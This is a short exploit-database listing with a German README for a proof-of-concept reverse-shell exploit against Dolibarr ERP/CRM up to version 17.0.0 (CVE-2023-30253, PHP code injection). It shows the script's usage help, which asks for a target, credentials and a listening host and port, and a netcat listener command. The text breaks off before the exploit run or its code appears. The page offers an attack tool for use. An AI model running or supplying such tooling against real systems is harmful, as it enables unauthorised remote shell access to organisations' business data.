Sploitus

POC-exploit-for-Dolibarr

CVE-2023-30253

kitploit · 2026-08-26

Exploit Code

MARKDOWN40 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-1LKLA-POC-EXPLOIT-FOR-DOLIBARR
# POC-Exploit für Dolibarr <= 17.0.0 (CVE-2023-30253)

Reverse-Shell-POC-Exploit für **`Dolibarr<= 17.0.0 (CVE-2023-30253)`**, PHP-Code-Injection

Weitere Details zur Schwachstelle finden Sie **hier**

## PoC

Hilfe des Exploits:

root@kitploit:~
    
    
    ➜  python3 exploit.py -h
    usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
    example: python3 exploit.py http://example.com login password 127.0.0.1 9001
    
    ---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---
    
    positional arguments:
      hostname    Target hostname
      username    Username of Dolibarr ERP/CRM
      password    Password of Dolibarr ERP/CRM
      lhost       Listening host for reverse shell
      lport       Listening port for reverse shell
    
    options:
      -h, --help  show this help message and exit
    

Führen Sie netcat auf Ihrem Host aus:

root@kitploit:~
    
    
    ➜ nc -lvnp 9001
    

Führen Sie den Exploit aus (Beispiel):